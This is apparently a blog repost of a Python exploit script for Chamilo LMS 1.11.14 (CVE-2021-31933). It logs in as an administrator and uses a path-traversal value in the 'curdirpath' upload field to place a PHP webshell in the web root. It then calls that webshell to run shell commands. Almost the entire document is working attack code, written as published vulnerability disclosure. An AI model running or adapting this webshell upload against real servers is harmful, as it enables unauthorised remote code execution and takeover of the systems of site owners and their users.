Saturday, May 15, 2021

Chamilo LMS 1.11.14 Remote Code Execution

# Exploit Title: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated)
# Date: 13/05/2021
# Exploit Author: M. Cory Billington (@_th3y)
# Vendor Homepage: https://chamilo.org
# Software Link: https://github.com/chamilo/chamilo-lms
# Version: 1.11.14
# Tested on: Ubuntu 20.04.2 LTS
# CVE: CVE-2021-31933
# Writeup: https://theyhack.me/CVE-2021-31933-Chamilo-File-Upload-RCE/

from requests import Session
from random import choice
from string import ascii_lowercase

import requests

# This is all configuration stuff,
url = "http://127.0.0.1/chamilo-lms/" # URL to remote host web root
user_name = "admin" # User must be an administrator
password = "admin"
command = "id;whoami"

# Where you want to upload your webshell. Must be writable by web server user.
# This spot isn't protectec by .htaccess
webshell_path = 'web/'
webshell_name = f"shell-{''.join(choice(ascii_lowercase) for _ in range(6))}.phar" # Just a random name for webshell file
content = f"<?php echo `{command}`; ?>"

def main():
# Run a context manager with a session object to hold login session after login
with Session() as s:
login_url = f"{url}index.php"
login_data = {
"login": user_name,
"password": password
}
r = s.post(login_url, data=login_data) # login request

# Check to see if login as admin user was successful.
if "admin" not in r.url:
print(f"[-] Login as {user_name} failed. Need to be admin")
return
print(f"[+] Logged in as {user_name}")
print(f"[+] Cookie: {s.cookies}")
file_upload_url = f"{url}main/upload/upload.php"
# The 'curdirpath' is not santitized, so I traverse to the '/var/www/html/chamilo-lms/web/build' directory. I can upload to /tmp/ as well
php_webshell_file = {
"curdirpath": (None, f"/../../../../../../../../../var/www/html/chamilo-lms/{webshell_path}"),
"user_upload": (webshell_name, content)
}

## Good command if you want to see what the request looks like without sending
# print(requests.Request('POST', file_upload_url, files=php_webshell_file).prepare().body.decode('ascii'))

# Two requests required to actually upload the file
for i in range(2):
s.post(file_upload_url, files=php_webshell_file)

exploit_request_url = f"{url}{webshell_path}{webshell_name}"
print("[+] Upload complete!")
print(f"[+] Webshell: {exploit_request_url}")

# This is a GET request to the new webshell to trigger code execution
command_output = s.get(exploit_request_url)
print("[+] Command output:\n")
print(command_output.text)



if __name__ == "__main__":
main()
 

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Thanks for everything Templateism - You should have written the code a little more complicated